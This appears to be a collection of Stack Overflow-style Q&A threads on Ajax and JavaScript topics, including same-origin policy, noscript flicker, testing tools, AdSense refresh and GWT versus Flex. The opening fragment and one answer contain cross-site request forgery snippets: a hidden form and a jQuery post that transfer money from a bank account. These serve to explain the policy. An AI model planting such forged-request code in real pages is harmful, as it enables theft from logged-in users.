<form id="InvisbleForm" action="http://some-bank.com/transfer-money.php" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="xxxxx">
</form>
</div>
</body>
You aren't creating any more insecurities. You are just inconveniencing developers who want to use it in a way for good. Anybody who wants to use this feature for evil (aka awesome) could just use some other method of doing it.
I'm marking "bobince" answer as correct because he pointed out the critical problem. Because XMLHTTPRequest allows you to post, with credentials (cookies) to the destination site, and read the data sent back from the site, along with sending the persons credentials, you could orchestrate some javascript that would submit a series of forms, including confirmation forms, complete with any random keys generated that were put in place to try to prevent a XSRF. In this way, you could browse through the target site, like a bank, and the bank's webserver would be unable to tell that it wasn't just a regular user submitting all these forms.
Why are Ajax HTTP Requests not allowed to cross domain boundaries.
Because AJAX requests are (a) submitted with user credentials, and (b) allow the caller to read the returned data.
It is a combination of these factors that can result in a vulnerability. There are proposals to add a form of cross-domain AJAX that omits user credentials.
you could simply add an img, script, or iframe element to the document
None of those methods allow the caller to read the returned data.
(Except scripts where either it's deliberately set up to allow that, for permitted cross-domain scripting - or where someone's made a terrible cock-up.)
Your can do XSS attacks without using this at all. Posting to third party site
That's not an XSS attack. That's a cross-site request forgery attack (XSRF). There are known ways to solve XSRF attacks, such as including one-time or cryptographic tokens to verify that the submission came deliberately from the user and was not launched from attacker code.
If you allowed cross-domain AJAX you would lose this safeguard. The attacking code could request a page from the banking site, read any authorisation tokens on it, and submit them in a second AJAX request to perform the transfer. And that would be a cross-site scripting attack.
Well, apparently you're not the only person that feels that way...
http://www.google.com/search?q=xmlhttp+cross+site
EDIT: There is an interesting discussion linked from the above search:
http://blogs.msdn.com/ie/archive/2008/06/23/securing-cross-site-xmlhttprequest.aspx
Looks like proposals are under way to permit cross site xmlhttp requests (IE 8, FF3 etc.), although I wish they'd been there when I was writing the code for my sites :) And then there's the problem of compatibility... It will be a while before it's ubiquitous.
It's a concern because it can be used for bad purposes, as you mentioned. It can also be used with good intent, and for that reason, cross domain protocols are being developed.
The two biggest concerns are when it is used in conjunction with cross-site scripting (XSS) and cross-site request forgery (CSRF). Both are serious threats (which is why they made it into the OWASP top 10 and the SANS 25).
the only way I could see it being abused, would be if someone were to inject Javascript
This is XSS Far too many apps are still vulnerable, and if browser security models don't prevent X-domain AJAX, they are opening their users to a considerable attack vector.
you could simply add an img, script, or iframe element to the document to get it to request the third party URL
Yes, but those will send a HTTP_REFERRER and (through other means) can be blocked to prevent CSRF. AJAX calls can spoof headers more easily and would allow other means of circumventing traditional CSRF protections.
I think another thing that separates this from a normal XSRF attack is that you can do stuff with the data you get back as well via javascript.
I don't know what the huge problem is? Have AJAX calls sent towards other domains firs sent to your application and then forwarded elsewhere with filtered data, parse the returned data if you really need to, and feed it to the user.
Handling sensitive AJAX requests? Nail down the incoming suckers by checking for headers, storing session time data or by filtering incoming IP addresses down to sources of you trust or your applications.
What I'd personally like to see in the future is rock solid security on all incoming requests by default on web servers, frameworks and CMSs, and then explicitly define resources that will parse request from outside sources.
With <form> you can post data, but you can't read it. With XHR you can do both.
Page like http://bank.example.com/display_my_password is safe against XSRF (assuming it only displays and not sets the password) and frames (they have same-origin policy). However cross-domain XHR would be a vulnerability.
When you send a HTTP request to the server, the cookies set by the server are also sent back by the browser to the server. The server uses those cookies to establish the fact that the user is logged in, etc.
This can be exploited by a malicious attacker who, with the help of some JavaScript, can steal information or perform unauthorised commands on other websites without the user knowing anything about this.
For example, one could ask an user to visit a site which has the following JavaScript code (assuming jQuery):
<script type="text/javascript">
$.post("http://some-bank.com/transfer-money.php",
{ amount: "10000", to_account: "xxxx" })
</script>
Now, if the user were really logged into the bank while the above code was executed, the attacker could have transferred USD 10K to the account XXX.
This kind of attacks are called Cross Site Request Forgery (XSRF). There is more info about this on Wikipedia.
It's mainly due to this reason the same-origin policy exists and browsers won't allow you to perform XMLHttpRequests on domains different from the origin.
There is some discussion going on to actually allow cross-domain XHR, but we have to see whether this really gets accepted.
Sorry to answer a question with a question, but just because other similar vulnerabilities may exist (img etc), why would you leave the vulnerability in a new feature (XMLHttpRequest)?
You turn unsuspecting visitors into denial of service attackers.
Also, Imagine a cross site script that steals all your facebook stuff. It opens an IFrame and navigates to Facebook.com
You're already logged in to facebook (cookie) and it goes reads your data/friends. And does more nasties.
I've tried my best to be a purist with my usage of Javascript/Ajax techniques, ensuring that all Ajax-y behavior is an enhancement of base functionality, while the site is also fully functional when Javascript is disabled. However, this causes some problems.
In some cases, a DOM node should only be visible when Javascript is enabled in the browser. In other cases, it should only be visible when disabled. Take for instance a submit button on a form that has a drop down with an onchange handler that auto-submits (using JQuery's form plugin):
<form method="post" action=".">
<label for="id_state">State:</label>
<select name="state" id="id_state" onchange="$(this.form).ajaxSubmit(ajax_submit_handler);">
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
</select>
<input class="with_js_disabled" type="submit" value="OK" />
</form>
and the Javascript:
<script type="text/javascript">
$(document).ready(function()
{
$(".with_js_disabled").hide();
});
</script>
When Javascript is enabled, the submit button is not required (due to the onchange handler). However, JQuery's $(document).ready function (and the more direct document.onload) is only called after the page has been fully loaded and rendered - hence, the submit button is initially displayed and a "flash" occurs when the Javascript is executed and the node's display is set to "none".
I've accepted this as the cost of doing business, and haven't found a way around it. But is there a technique I'm not aware of that will minimize the effect, or even outright eliminate it?
EDIT:
The <noscript> solution mentioned by many people below seems promising, but isn't working for me on Safari. However Prestaul's 2nd suggestion works beautifully:
<body>
<script type="text/javascript">
document.body.className += ' has_js';
</script>
<!-- the rest of your page -->
</body>
This can then be styled using straight CSS:
body .js_enabled_only { display: none; }
body .js_disabled_only { display: block; }
body.has_js .js_enabled_only { display: block; }
body.has_js .js_disabled_only { display: none; }
This second line is just for reference and can (and should) be removed to avoid circumstances where your element shouldn't be display:block. Likewise, you may need different variations on the third line for other display styles. But this solution is nice and clean, IMO, and in my tests entirely eliminates the flicker effect.
How about combining some of these solutions:
<style type="text/javascript">
.only-without-script {
display: none;
}
</style>
<noscript>
<style type="text/javascript">
.only-with-script {
display: none;
}
.only-without-script {
display: block;
}
</style>
</noscript>
or I prefer adding a class to the body (place your <script> tag at the top of the body and don't use the .ready event):
<head>
<style type="text/javascript">
body.has-script .something-not-ajaxy {
display: none;
}
input.ajaxy-submit {
display: none;
}
body.has-script input.ajaxy-submit {
display: inline;
}
</style>
</head>
<body>
<script type="text/javascript">
document.body.className += ' has-script';
</script>
<!-- the rest of your page -->
</body>
For situations identical to yours, I usually put the submit button around a <noscript> tag. No one has suggested it, so I am not sure if it is considered bad practice around these parts, but it is what I use and it works for me.
If you only want a node visible when Javascript is enabled, you could do in the head:
<noscript>
<style type="text/css">
.js-enabled { display: none; }
</style>
</noscript>
And then give any Javascript-only elements a class of js-enabled.
Just like David said, you can add a Javascript, that adds a style sheet to hide all "unnecessary" html-elements:
<head>
...
<script type="text/javascript" language="javascript">
document.write('<style type="text/css"> .disabled-if-javascript { display: none; } </style>');
</script>
</head>
...
If Javascript is enabled, it sets all elements of class "disabled-if-javascript" to hidden, before the body is even loaded. Just add this class to all elements that need to be hidden, if javascript is enabled. You might also need a class enabled-if-javascript that does the opposite, to show certain elements that would be hidden for non-javascript. Maybe you need to add "!important" to your style definition there, to override the existing (non-javascript) rules.
I can think of two methods:
1 - Pre-detect if Javascript is enabled and save that information in a cookie/session. This could be done at the front page, and should eliminate most flickers.
2 - Use the livequery plugin, which detects elements as they are added to the DOM. You can run it right when Javascript finishes loading, which should be much before the document (it its in the head).
$('.with_js_disabled').livequery(function() {
$(this).hide();
});
Just a thought: I'm not sure if this will work, but you could try putting some Javascript in the document head to write a CSS style element that would hide the button.
A simple thing to try: add <script>jQuery.ready();</script> right before closing the body tag.
This will force all binds to the 'ready' event to fire. And if you make them fire in the end of the document, the DOM is loaded and ready to go, even if the "native" onDomContentLoaded event is not yet fired.
This usually works for me when I want to remove flickering, especially in IE/win, since IE has it's own domready emulator in jQuery's 'ready' event.
We're using RSpec and Cucumber in our Rails apps with good results. Webrat is great for non-AJAX interactions, but we're getting ready to get back into writing tests for our Javascript.
Webrat has Selenium support built in, and we've used Selenium before, but I'm curious if anyone has had good results using Watir with Cucumber and what the pros and cons are of Watir versus Selenium.
As the founder of OpenQA and Selenium RC, I'm obviously biased towards Selenium as a good option. We recently just put out a 1.0 beta 2 release and are very close to a 1.0 final.
However, you couldn't go wrong with Watir/FireWatir either. Adam's comment that WebDriver will merge to form Selenium 2.0 is correct, but he's incorrect in implying that Watir doesn't use native hooks. If Watir were simply a Selenium clone and also used JavaScript injection, I'd say it wasn't worth looking at.
But because it has native hooks, it can do some things that Selenium currently can't. While it has fewer browsers supported, it goes a bit deeper in the main browser it does support (IE) and lets you control things outside of the page/canvas.
In summary: either is fine, Selenium is great, and if you hang on a little longer with Selenium you'll soon get the best of both worlds with WebDriver/Selenium 2.0.
I am having good results using Cucumber with Celerity through JRuby.
Celerity is a headless browser which wraps around HtmlUnit with a Watir-compatible API and supports JavaScript and AJAX testing.
Being headless makes Celerity faster and easy to integrate within a Continuous Integration build cycle.
Since Celerity is API-compatible with Watir, you can switch between Watir and Celerity fairly easily. There are some caveats, but it's been worth the effort.
I'd say Watir was much slicker, but less useful. It's mostly an IE automation system, with fairly flaky Firefox support. (I'll admit to not having checked out FireWatir in a while, it may have improved.)
There is experimental support for Selenium-RC on Watir. That would definitely be the best of both worlds.
You may want to try WebDriver. It will become part of Selenium in the future. Works with JRuby.
It is different than Selenium, Sahi or Watir in the way that it controls the browser natively, not using JavaScript, and is not affected by many issues other solutions have.
I have tried Watir but not with cucumber. It was for java app. Problems we faced were with was trying to determine page is loaded. We had to scrape the forums a bit before finding the solutions. Otherwise it was fine.
Watir 2.0 will also use WebDriver.
Best solution which I found its Env-Js http://github.com/smparkes/env-js Its like webrat but with JS support
If you would like to use Watir on Rails 3.
You can use 'watir-webdriver-rails' gem (I'm the creator).
Don't overlook something like QUnit or Jasmine to unit test your javascript. If nothing else it'll cut down on the number of full-stack tests you have to write in cucumber/selenium/capybara/whatever
I've seen "RJS" and "RJS templates" mentioned in passing in blog posts and tutorials. I did a search, but I'm still unsure about it. Is it a technology specific to Rails, rather than a standard like JSON or YAML?
I understand it's used for "generating JavaScript." Does it generate generic JS or Rails-specific JS requiring the Prototype and Scriptaculous libraries?
This Railscast gives a nice example of using RJS to add and remove form fields dynamically without hitting the server with an ajax call.
These RJS tips may also be helpful.
RJS is a template (similar to an html.erb file) that generates JavaScript which is executed in an eval block by the browser in response to an AJAX request. It is sometimes used (incorrectly?) to describe the JavaScript, Prototype, and Scriptaculous Helpers provided by Rails.
You may want to have a look at the blog post.
Using jQuery, how do I cancel an Ajax request that I have not yet received the response from?
Most of the jQuery Ajax methods return an XMLHttpRequest (or the equivalent) object, so you can just use abort().
See the documentation:
var xhr = $.ajax({
type: "POST",
url: "some.php",
data: "name=John&location=Boston",
success: function(msg){
alert( "Data Saved: " + msg );
}
});
//kill the request
xhr.abort()
UPDATE: As of jQuery 1.5 the returned object is a wrapper for the native XMLHttpRequest object called jqXHR. This object appears to expose all of the native properties and methods so the above example still works. See The jqXHR Object (jQuery API documentation).
You can't recall the request, but you can set a timeout value after which the response will be ignored. See jQuery.ajax() (jQuery API documentation) for jQuery Ajax options. I believe that your error callback will be called if the timeout period is exceeded. There is already a default timeout on every Ajax request.
It's an asynchronous request, meaning once it's sent it's out there.
In case your server is starting a very expensive operation due to the AJAX request, the best you can do is open your server to listen for cancel requests, and send a separate AJAX request notifying the server to stop whatever it's doing.
Otherwise, simply ignore the AJAX response.
meouw's solution is correct, but if you're are interested in more control then you could try the Ajax Manager plugin for jQuery.
I'm very new to both the Mvc framework as well as JavaScript and JQuery. I'm trying to understand the right way to structure Ajax calls.
Let's say I have a "Vote Up" button similar to what you see on StackOverflow. When the user clicks it I need to update the vote count in the database and return the new value to the UI. Currently I am achieving this by having an action called "VoteUp" on the "PostsController" which takes an "int postID" as a parameter.
public PostsController : Controller
{
public ActionResult VoteUp(int postId)
{
//Increment Post Vote Count
return Json(voteCount); //Return just the new vote count as a JSon result.
}
}
I'm then calling this method via ajax by invoking the url "http://mydomain.com/posts/voteUp?postId=5". I then return an JSon ActionResult with the new value to update the UI with.
Is this the right way to implement this? Again, I'm totally new to both javascript and jquery. I'm used to doing everything as click event handlers in asp.net webforms. Any guidance would be appreciated.
Yes, it sounds like you've got it about right.
Note, however, that if you change postId to Id, then you could call with a URL like:
http://example.com/posts/voteUp/5
(With the default routing.) It's a question of personal preference.
I would approach this using jQuery and JsonResult Controller. Your jQuery code would call the JsonResult which would pass the pertinent information off to the model code to handle adding a new vote. I wrote a brief tutorial on similar concepts which is available at http://www.dev102.com/2008/08/19/jquery-and-the-aspnet-mvc-framework/
I'm working on a offline version of a website using jQuery and some xml files. I'm running in to a problem in jQuery when I do a $.ajax call on a xml file jQuery throws a error.
When I look at the error I can tell its loading the XML file because its in the error's responceText property. It seams to work just fine in Firefox.
This is how my call looks
$.ajax({
type: "GET",
url: "Modules/" + ModuleID + "/ModuleContent.xml",
dataType: "xml",
success: function(x) { xml = x; ProcessXML(); },
error: function(x) { alert(x.responceText); }
});
When I run this on a web server it works just fine. Its only when I run it from the file its self when I have this problem.
Any ideas on how I can make this work in IE?
Edit: I found the answer to my problem. Here
From the link that the OP posted with the answer:
When loading XML files locally, e.g. a CD-ROM etc., the data received by Internet Explorer is plain-text, not text/xml. In this case, use the dataType parameter to load the xml file as text, and parse the returned data within the succes function
$.ajax({
url: "data.xml",
dataType: ($.browser.msie) ? "text" : "xml",
success: function(data){
var xml;
if (typeof data == "string") {
xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
xml.loadXML(data);
} else {
xml = data;
}
// Returned data available in object "xml"
}
});
This worked for me as well.
Just a thought: I remember some GET requests failures with IE. Have you tried POSTing it?
I have a div that holds a google ad. My website is mostly AJAX and there is no need for a browser refresh. That means my ads will not refresh either, which isnt ideal, a user staring at one ad all day.
So I wanted a way to refresh a particular div on a page. I found many solutions but they didnt work. For example, using JQuery's html function:
$("#ads").html("google ad script here");
This managed to refresh the whole page no idea how. I can also make an AJAX request to a HTML page that contains the google ad but I am guessing it will have the same effect as the above attempt.
I do not want to use iFrames.
Is there any other option open to me? My pea brain can not think of anymore. :)
Thanks you for any help.
It is allowed since I will be initiating the refresh only when a user clicks a link.
A prime example is Yahoo Mail - their new AJAX mailbox uses this same method, when a user clicks a link then a new ad is shown.
UPDATE: Now if you're interested in this, you should sign up for Google AdSense for Ajax, which provides exactly what you want.
As both of the other answers state, refreshing your AdSense advertisements automatically isn't allowed. I understand that you only intend to refresh the ad in response to user action, but it still isn't allowed, even though it should be!
Remember, the reason why you want to update the advertisements is so that you can show new ones. Displaying an advertisement is called an "impression." When you use code to refresh the ads, you are automatically generating ad impressions.
AdSense Program Policies state (emphasis mine):
Invalid Clicks and Impressions
Clicks on Google ads must result from genuine user interest. Any method that artificially generates clicks or impressions on your Google ads is strictly prohibited. These prohibited methods include but are not limited to repeated manual clicks or impressions, using robots, automated click and impression generating tools, third-party services that generate clicks or impressions such as paid-to-click, paid-to-surf, autosurf, and click-exchange programs, or any deceptive software.
Refreshing your advertisements is a violation of the letter of the rule against generating impressions. With that said, I think any reasonable person would agree that refreshing advertisements in an AJAX app in response to user behavior (e.g. in response to a click) isn't a violation of the spirit of the rule.
For example, imagine rewriting your entire app to stop using AJAX. That's clearly a worse experience for your users (it's slower, the page flashes on every click, the page can't dynamically update in the background), but, by a technicality, it's not a violation of the AdSense Program Policies.
Clearly Google meant to prohibit automatically replacing the advertisements every five seconds (creating a "slideshow" of advertisements). Google also meant to prohibit making your site look more attractive to advertisers by appearing to have more visits than you actually have. I'm sure they didn't intend to prevent you from designing a high-performance AJAX website... but unfortunately sometimes rules have unintended consequences.
Of course, as you originally pointed out, you CAN still refresh your advertisements if you embed them in an iframe and modify its location. (Here's how to use iframes in an AJAX application to refresh AdSense.)
You rejected iframes in your initial question, perhaps because you knew that using iframes would violate Google's policies... but if you insist on breaking the rules, you might as well break them all the way! ;-)
Ultimately, I think you'll find that generating impressions this way isn't worth the risk: you'll "refresh" the ads only to find that Google is just showing you the exact same ads as before.
It is not allowed (according to AdSense terms) to try and reload ads during the page life-cycle. Also, it is hardly possible (thanks to the platform architecture).
I know I'm a year and a half late to the party, but... It's possible that the problem with the ads is that they are using document.write (Ad servers are notorious for this, but I don't know if AdSense uses it or not.)
If that's the case, I have a library that can help: writeCapture.js. Example:
$('#ads').writeCapture().html('<script src="whatever-your-adsense-code-is"> </script>');
That's using jQuery, but there is also a standalone version.
As for whether it's a TOS violation... Gmail changes ads dynamically, so it can't be that bad. As long as the content is changing too, I would think it was OK.
It is not allowed. but I think you can use a iframe for that. I saw good tutorials of that. I tried do it by ajax by I rollback my changes for the Adsense TOS
Just include the ads in the pages you are loading via ajax. There can be nothing wrong with loading the ads from a file via ajax on a per page basis.
if I load Read.inc which has some content and an ad Click something on the page and it takes you to Make.inc which has content an an ad.
Whats wrong with that? That's organic. One load with the ad as part of the content.
It's the same as clicking a link.
I haven't actually tried this yet, but it certainly seems logical.
My company is trying to migrate away from a .NET application to something that is purely web-based, and very "ajaxy". The original .NET app is fairly interactive, roughly equivalent to Google Maps as far as user interaction is concerned (zoom, pan, annotate features on a vector map).
Our .NET developer is really taken with Flex2. I'll admit to having a pretty strong Java bias. I also have about a year's worth of experience with GWT, and can get things done pretty quickly with it. Our codebase is mostly J2EE, so GWT seems a natural fit to me. I have zero experience with Flex, so I really can't make a recommendation for or against it
Our primary interests in selecting a framework are the following:
Care to weigh in on the pros & cons of these two technologies, or even recommend a third option?
I'm only mildly familiar with Flex, but have worked with GWT for many years. We had to make a very similar decision some years ago (Flash vs GWT), but for different reasons. In the end we saw the many advantages of GWT over Flash (Many of which apply to Flex):
Not all our customers have flash, penetration numbers from Adobe are useless, you need your own (which we have) to see what your customers actually have. In corporate and education markets the penetration is actually far lower than the high 90s that Adobe quotes.
GWT is truly cross-browser and platform compatible (Linux, Mac, Windows, Android, iPhone, etc, etc) whereas flash will never be. You may not care about that, but we did.
Flex is proprietry Adobe Technology, whereas GWT is fully open source and customisable
GWT integrates with the DOM, and everything else on your page far easier than flash and Flex do.
GWT is coded in Java, and we all know Java extremely well
To Address your specific points:
* futureproof
Nothing is truly future proof, but I feel that both GWT and Flex would be fairly future proof. Maybe GWT a tiny bit more so because it's open source.
* works on all major browsers
GWT works in Firefox(and all gecko browser), Safari (and all Webkit browsers), IE and Opera. Flex works in all browsers, but only if Flash is supported, so I would say GWT comes out on top there.
* fast & responsive user experience
On platforms where it's supported, Flex is going to kill GWT dead for user experience. You just can't compete with flash when it comes to smoothness and slickness.
* code should be unit testable
Both are easily unit testable
* code must be maintainable
When coded well both are maintainable
* speed & ease of development
As long as your familiar with them, I'd say it's much of a muchness.
* supports vector graphics of some sort (SVG a plus)
I can't speak for Flex, but GWT supports vector graphics via SVG, through third-party libraries.
I'm not familiar with GWT, but I'm very familiar with Flex. Even though GWT is Java-based (and it sounds like you're largely a Java shop), I'd recommend Flex based on your listed interests:
Futureproof - Flash powers YouTube and a huge percentage of multimedia on the web... they've built it into video game consoles and Intel is building it into settop boxes. It's going to be here for a long, long time, and Adobe has always maintained 100% backwards compatibility with their Flash players.
Works on all major browsers - yes. And with Flash Player 10, that includes Linux systems as well. And with very minimal admin headaches (way less than Java, in my opinion).
Fast & responsive user experience - yes, though Java can be faster in some scenarios. Flash is optimized for vector rendering, so since that's your target, it may be give you better performance than Java.
Code should be unit testable - yes, see FlexUnit.
Code must be maintainable - definitely. AS3 is a serious language, not a toy scripting language. It will be very familiar to users of C# or Java.
Speed & ease of development - for what you're doing, you'll be able to find dozens of examples of exactly what you described: zooming and panning Google Maps -like vector images. The core of the runtime is a well-designed graphics engine, so building an interactive graphics app is its natural chore.
Supports vector graphics of some sort (SVG a plus) - obviously, Flash does this natively. SVG is supported at the compilation stage (you can compile in SVG but you can't parse SVG at run-time). There are toolchains available that'll convert SVG to SWF for you at runtime.
The only reason I'd see for using GWT would be to keep your shop Java on server and client... but then again, you're looking for the best tech for the job, right? In that case, I'd say Flash (and in particular, the Flex framework) is best suited for what you're wanting to accomplish.
One other point to note is that neither the iPhone nor Android currently support Flash. A lot more people are expecting to access web apps on their phones.
I was part of a project that used GWT, and I loved it, especially since Java is my primary programming language of choice. I haven't used Flex, so I'm only giving you info on what I've experienced with GWT. To comment on some your requirements
*futureproof - GWT's been there for a couple of years already, and its continually supported by Google.
*works on all major browsers - if you've used GWT, cross-browser programming has never been much easier. GWT does this for you!
*code should be unit testable - yes you can unit test GWT, its also easy to debug GWT.
*speed & ease of development - Ajax is made a lot less complicated thanks to GWT. That alone could speed up your RIA development.
Aside from these, I just have to say, I love their Google Group! It's very active and you could find a lot of people out there that could help you out in case you get stuck with something.
I'm biased toward Flex since I've been doing Flash/Flex development since 2000. I think to answer your question though, it really comes down to the level of interactivity and complexity you want to achieve.
Flex is going to let you do things that would be nearly impossible in a JavaScript environment (ASP.NET AJAX, jQuery, GWT) such as simple 3d graphics. Building complex interactivity is really trivial in Flex. Also it is very fast and can handle lots of animated objects at a time. Flex can communicate seamlessly to .NET or Java using web services. The downside of using Flex is that it feels like an embedded application on your web site rather than something that is tightly integrated.
If you are going to stick with a JavaScript approach, usually I'd suggest using something language agnostic like jQuery. But since you already have GWT experience, that may work well for your project. The downside is that GWT in the end is still JavaScript, so you are going to be limited by the speed and interactivity of what is possible in a browser.
Sun has recently launched a new technology called JavaFX for these kinds of RIAs. You may want to check it out (javafx.com). It is suppose to run on Java 5 or better but that will definitely not have the kind of client penetration that Flash does. I think however given your requirements for testing that this technology may not be appropriate at this time.
Also, I think Troy Gilbert made an error in his post. Specifically, he seems to indicate that a GWT application will run (by the client) in java. I'm almost certain that a GWT application is written first in Java and then GWT will compile that into a javascript library that the client runs.
I've used both teçhnologies for some time.
Futureproof - both of them will be succesful i guess, but every technology will be prefered in different situations. For example flex in large (mostly intranet) enterprises with desired desktop like ui (Flex can be used on the top of the any server platform(jvm,.Net,php,ruby,coldfusion)). GWT otherwise will be dominant in small to medium app with traditional jvm backend (tomcat+spring etc.)
Works on all major browsers - both are non-problematic in this way. Flex absolutly excellent, when flash plugin is installed there is not need to solve any cross-browser compatibility (of course... browser are passive, when flash app runs:). I remember we had some minor problems with GWT and tradional troublemaker IE6, but nothing horrible...
Fast & responsive user experience - both are the top in their category. Flex i think absolutly the top of the all RIA solutions(maybe silverlight, java fx can be only competitors in richnest), expecially integrated with LCDS with cool features like data management, real server side data push etc. GWT is the one of the top in ajax framework category. The more richest and complicated ui you need, the more reasons to using flex you have. Intepreted javascript in any case can't be faster&responsive then compiled actionscript/swf.
Code should be unit testable - yes, they are greatly testable.
Code must be maintainable - both excellent, maintaining actionscript is comparable to java(gwt), if you use a good IDE for example Flex Builder.
Speed & ease of development - both perfect if you know your staff. Everything depends of your backround. For typical java developer learning curve to flex will be probably a little bit more difficult(You need to learn a new compliler/runtime and probably new IDE or at least new eclipse IDE plugin:). Some knowledge of flash is a +, but not required and only usually with specific tasks like building your own components etc.
Supports vector graphics of some sort (SVG a plus) - no issues I remember, i have no too much experience with this, but i will look at it in future when FXG will be finnalized.
development & deployment costs - The winner is clear here. GWT. Flex was developed to make a profit. Although self is opensourced, best tools(Flex Builder, new Flash Builder/Catalyst) & frameworks(LCDS) are commerciall and not cheap at all. Look at LCDS per CPU pricelist and you will know what i'm talking about. With GWT most of the quality tools/frameworks are opensourced or free at least. Except some advanced components like ext gwt and smartgwt EE. Obviously u can live without them.
While iPhone and Android do not support flash YET, you should also note that Google create applications targeted for the mobile phone. They are doing that because the screen on mobile devices is vastly smaller then the typical laptop/desktop. Therefore, the lack of flash support is a non-issue, since a targeted app provides a better user experience.
My company was faced with the same decision about one year ago. Have you heard of GXT http://extjs.com/products/gxt/? We ultimately chose GXT. As a .NET developer, making the transition from .NET to GXT was great. We developed an corporate-wide management program with GXT/GWT. The downsides are that GXT is developed by a much smaller team compared to Flex and the community isn't near as large. However, it delivers an impressive in-browser experience. Check it out.
This really is an apples / oranges question. With GWT, you get the pureness of writing everything in Java. Ironically, the end result will never feel like anything other than a website.
With Flex, you get to write something that feels like an application. And, perhaps most importantly, with Flex, there is NOTHING you cannot do programatically - whether functional or graphical.
If you are developing applications for a specific user base, Flex is a winner by miles. If you are building a mass social web based whatever, GWT is definitely a better choice.
Future proofing is more about architecture than it is about a specific technology. With the right architecture you can pretty easily swap out presentation technology. I like Silverlight/MVVM although the pattern does require some planning to also support HTML5.
I liked the comment from kirushik claiming that "GWT has 3d support". Not so fast, let's be completely honest here. You need a special plugin to do this: "Requires Google O3D plugin download" OOps!
Sorry this couldn't be a direct comment/response but I felt this was an important point that shouldn't be simply ignored, especially when so many JavaScript fanboys are out there howling about not wanting to use "evil" plugins... (The real reason they cry about this non-issue, particularly when corporations have total control over the simple task of deploying Flash on their private networks or not, is that they think it's an easy hit against Flex or Silverlight to help them promote their own skill sets.)
I know you asked about GWT vs Flex, but if you have a say over the final decision you should seriously consider whether to move away from AJAX and ASP.NET. Despite what Adobe, Microsoft, and Sun say, RIAs (Rich Internet Applications) are not yet ready for a primetime browser experience except in limited form (like video players).
A full-blown application written for the browser, in native browser technology, is going to give the best possible experience to the user as well as having the most development resources available to maintain it.
ASP.NET is not going anywhere. Neither is Java or Flex. But for sheer reach, best possible user experience overall, and maintainability (due to there just being far more available programming resources available) you cannot beat a native browser-based application.
ASP.NET MVC is purely web-based and very Ajaxy. You might check it out. It is similar to Ruby on Rails (without the Rails) and developers (even devs new to ASP.NET) are quite taken with it.
What is the most efficient Javascript/AJAX toolkit?
jQuery seems pretty popular at the moment, and is lightweight.
Their API is well constructed and designed, and the resulting code tends to be very concise.
Some may find it TOO concise - matter of taste. On larger projects I sometimes end up using YUI - it's a lot more heavyweight, but for a large codebase I find it easier to read something a little more explicit.
Really, it's a bit of a subjective question; most efficient will depend on what makes the most sense to your coding style, what you're trying to do, and what you're interacting with.
Best of luck!
According to this comparison, jQuery does reasonably well. Certainly better than Prototype. Personally I like the fluent interface model and brevity of jQuery as well.
It really depends on what environment, framework and what goal you are trying to achieve...
Actually the best answer is: learn more than one... there is no silver bullet.
At the time I chose one, MooTools was the most performant, now a days performance differences are very limited.
I use the following rule for myself (I code a lot in ASP.NET) if there is a control out of the box in ASP.NET ajax use that one. If I need to write custom stuff I use Mootools. (you can also do this in asp.net ajax, but I personally perceived that I write better and faster code in Mootools)
One other thing to consider: jquery plays nice with asp.net ajax (=you can use both on the same page) while Mootools can not (it's a design decission which makes mootools a bit more performant). In my opinion if you need to use more than one framework on the same page, you are creating a lot of unnecessary overhead.
I know that I only considered Mootools and jquery while there are a lot of other frameworks out there (Yui which is heavely namespaced = more verbose = why I don't like it :) ), but most of the others (Dojo kit, ...) try to abstract away the javascript nature of javascript... which I try not to.
Some usefull links:
Clientside has a nice write up why he chose Mootools (while working at CNET)
Choose the library that makes the most sense to you idiomatically.
The differences in efficiency are going to become less and less important as two things happen.
I love JQuery. Love it. Want to mate with it. And I hate everything. Don't get me started about anything. I hate it. But I love JQuery.
The power and functionality are spectacular.
It's well-designed and easy to use.
The docs are complete, accurate, detailed, clearly-written, and current. Every function is explained with code samples and a working example.
There is a good collection of plugins.
There is also the JQuery UI library which provides a whole other layer of functionality -- drag-and-drop, modal dialogs, various controls, etc.
I've been using JQuery for years and it has never let me down. I truly can't say that about any other library/language/tool/computer thing that I've used a lot. JQuery is amazing.
"Most efficient" is hard to judge, but I have used Prototype and Mootools, both of which were simple to pick up.
Dojo Toolkit isn't too bad either, customizable, themeable etc.
EDIT: and in the link to the comparison Cletus posted, it works on every platform tested and is also the fastest.
We use Mootools here at work, it's very nice and lightweight. As for efficiency, who can tell?
Depending on what you have to do using AJAX, you may look at jQuery or ExtJs (http://www.extjs.com)
As already said in the previous answers, jQuery is very efficient and lightweight and should do the trick for almost everything you need.
If you need very rich UIs ExtJs has very nice features and a very complete API, but is quite heavier from what I could experience.
It really comes down to a matter of preference and, to a lesser degree, what platform your on. Looking at just the client side implementation, I'm a huge fan of jQuery since I like the concise syntax it offers. I work with Prototype, YUI, and Mootools as well on different projects but still prefer jQuery.
Depending on your platform, there are other possibilities. For example, if you are using .Net, AJAXPro and the Microsoft AJAX offers some very quick and easy ways to add a full AJAX infrastructure to your solution. I'm not a fan of MS AJAX but I can't argue some of the quick and dirty tricks that can be done with it.
I find that even with all the different AJAX toolkits out there, it's still easier for me to write the AJAX by hand. Writing AJAX calls is fairly straight-forward and you don't have to deal with fighting things going on in the background due to some abstraction code.
Thanks for ur answers... i could now say that Jquery, EXT are advantageous. i'm still checking YUI and Xajax. thanks!:)
i agree. Dojo is difficult. i tried it, and find a hard time with the results.
You could also try scriptaculous which uses the prototype library
There is a (pretty) TaskSpeed benchmark that you can take for each browser at http://dante.dojotoolkit.org/taskspeed/
The results are collated to http://dante.dojotoolkit.org/taskspeed/report/charts.html
This is related to my question on how to handle errors from jQuery AJAX calls. Several responses suggested that I use the "error" callback to display any errors from a jQuery AJAX call. I was wondering how to do that using ASP.NET MVC. Is there a way for my controller action to return an error that would be accessible from the "error" callback? The client side code would look something like this:
$.ajax({
type: "POST",
url: "MyUrl",
data: "val1=test",
success: function(result){
// Do stuff
},
error: function(request,status,errorThrown) {
}
});
Do something like this:
Response.StatusCode = (int)HttpStatusCode.BadRequest;
actionResult = this.Content("Error message here");
The status code should change depending on the nature of the error; generally, 4xx for user-generated problems and 5xx for server-side problems.
If you're using
[HandleError]
then throwing a HttpException is going to get caught and routed to your custom error page.
Another option is to use
Response.StatusCode = 500;
Response.Write("Error Message");
Response.End();
There's probably a more convenient way to write this but I haven't stumbled upon it yet.
